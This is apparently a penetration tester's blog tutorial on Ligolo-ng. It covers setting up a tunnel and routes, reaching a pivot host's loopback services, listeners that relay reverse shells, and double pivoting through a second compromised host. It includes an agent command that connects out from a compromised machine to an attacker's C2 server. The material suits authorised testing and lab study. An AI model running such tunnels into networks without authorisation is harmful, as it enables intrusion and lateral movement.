Why Ligolo-ng Is the Pivoting Tool I Reach for Every Time
A breakdown of how Ligolo-ng works, why I find it way more flexible than Chisel and SOCKS-based tools, and the commands and scenarios I actually use for pivoting, double pivots, and local port forwarding.
On this page
- Why Ligolo-ng Is the Pivoting Tool I Reach for Every Time
- What is Ligolo-ng?
- Why pivoting tools exist in the first place
- My experience with it
- Setup
- Scenario: accessing a service only bound to the pivot’s loopback (127.0.0.1)
- Scenario: listeners — forwarding a port on the pivot back to you
- Scenario: double pivoting (chaining through a second host)
- References
Why Ligolo-ng Is the Pivoting Tool I Reach for Every Time
What is Ligolo-ng?
Ligolo-ng is a reverse tunneling and pivoting tool built in Go by Nicolas Chatelain (nicocha30). When you land on a machine inside a network you can’t directly reach from your attacking box, Ligolo-ng lets you build a tunnel back through that compromised host so you can hit everything behind it , as if you had a VPN straight into the internal network.
What sets it apart from a basic SOCKS proxy or Chisel is that instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor. On the proxy side it spins up a real TUN interface packets sent to it get translated and shipped to the agent’s network. That means nmap, rdesktop, CrackMapExec, whatever they all just work against the internal range, no proxychains in the middle.
Why pivoting tools exist in the first place
In almost every real engagement (and most HTB/CPTS-style boxes), your initial foothold is never the real target. You land on a DMZ box, a jump host, a low-priv web server , and the real stuff (domain controllers, file shares, internal apps) sits on a segment only reachable from that box. Pivoting is how you go from “one machine” to “the whole internal network.”
My experience with it
I’ve used Chisel, SOCKS-based setups, and a few others before landing on Ligolo-ng, and it’s genuinely the one that stuck. The flexibility is what sold me, you’re not fighting proxychains breaking half your tools, you’re not babysitting SOCKS configs for every single utility, you just get a routable interface and everything behaves like it’s actually sitting on that network. Nmap scans, RDP, SMB enumeration, all of it, native.
It wasn’t instant though, it took me a bit to actually get comfortable with the proxy/agent/session/tunnel flow, especially once double pivoting and listeners entered the picture. The mental model is different from “just start a SOCKS proxy and point proxychains at it,” so there’s a learning curve the first time you set up a multi-hop chain. But once it clicked, I haven’t gone back to Chisel for anything serious Ligolo-ng is just more flexible for the stuff that actually comes up on real boxes: double pivots, reverse shells that need to cross a second hop, accessing a pivot’s loopback-only services. It’s one of the best tools in the pivoting space right now, hands down.
Setup
1. Create a TUN interface on your attack/proxy machine
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
Or, on v0.6+, skip the manual step:
ligolo-ng » interface_create --name ligolo
2. Start the proxy
./proxy -h # help
./proxy -selfcert # self-signed cert, good for labs/HTB
./proxy -autocert # Let's Encrypt, for real engagements
3. Drop the agent on the target
./agent -connect your_c2_server:11601
Pin the cert fingerprint if self-signed:
ligolo-ng » certificate_fingerprint
./agent -connect your_c2_server:11601 -accept-fingerprint <FINGERPRINT>
4. Select the session and start the tunnel
ligolo-ng » session
? Specify a session: 1 - user@hostname - x.x.x.x:port
[Agent : user@hostname] » tunnel_start --tun ligolo
5. Route to the internal network
[Agent : user@hostname] » ifconfig
sudo ip route add 192.168.0.0/24 dev ligolo
or inside the CLI:
ligolo-ng » interface_add_route --name ligolo --route 192.168.0.0/24
6. Scan and access
nmap 192.168.0.0/24 -v -sV -n --unprivileged
rdesktop 192.168.0.123
Note the --unprivileged/-PE flag because the agent runs without privileges, it can’t forward raw packets, so a SYN scan would false-positive without it.
Scenario: accessing a service only bound to the pivot’s loopback (127.0.0.1)
Say the pivot has something like MySQL or an internal admin panel bound to 127.0.0.1 only — a normal route won’t reach it. Ligolo-ng has a magic IP for exactly this: 240.0.0.1. Query that IP and Ligolo-ng automatically redirects traffic to the agent’s local address.
sudo ip route add 240.0.0.1/32 dev ligolo
nmap 240.0.0.1 -sV -p 3306,8080
With multiple agents, route 240.0.0.1 through whichever agent’s tunnel interface you want to hit the magic IP always resolves to “localhost on the agent behind that interface.”
Scenario: listeners — forwarding a port on the pivot back to you
Useful when something on the internal network needs to connect out to you (reverse shells, file transfers) but can only reach the pivot host, not your Kali box directly.
[Agent : user@hostname] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4444
Any connection hitting port 1234 on the pivot gets forwarded through the tunnel to port 4444 on your attacking machine point your reverse shell payload at the pivot’s IP on 1234, catch it locally on 4444.
[Agent : user@hostname] » listener_list
[Agent : user@hostname] » listener_stop 0
Scenario: double pivoting (chaining through a second host)
Found a second subnet only reachable from pivot one? Relay the second agent binary through pivot one with a listener, since pivot two can’t reach your Kali box directly:
[Agent : pivot1] » listener_add --addr 0.0.0.0:8000 --to 127.0.0.1:8000
Fetch and run the agent on pivot2 through that relayed port, let it connect back, then treat the new session like any other on the proxy:
ligolo-ng » session
? Specify a session: 2 - user@pivot2 - x.x.x.x:port
interface_create --name ligolo2
[Agent : pivot2] » tunnel_start --tun ligolo2
interface_add_route --name ligolo2 --route 10.10.10.0/24
Two clean, independent TUN interfaces, one per hop, no nested proxy configs like you’d end up with on Chisel.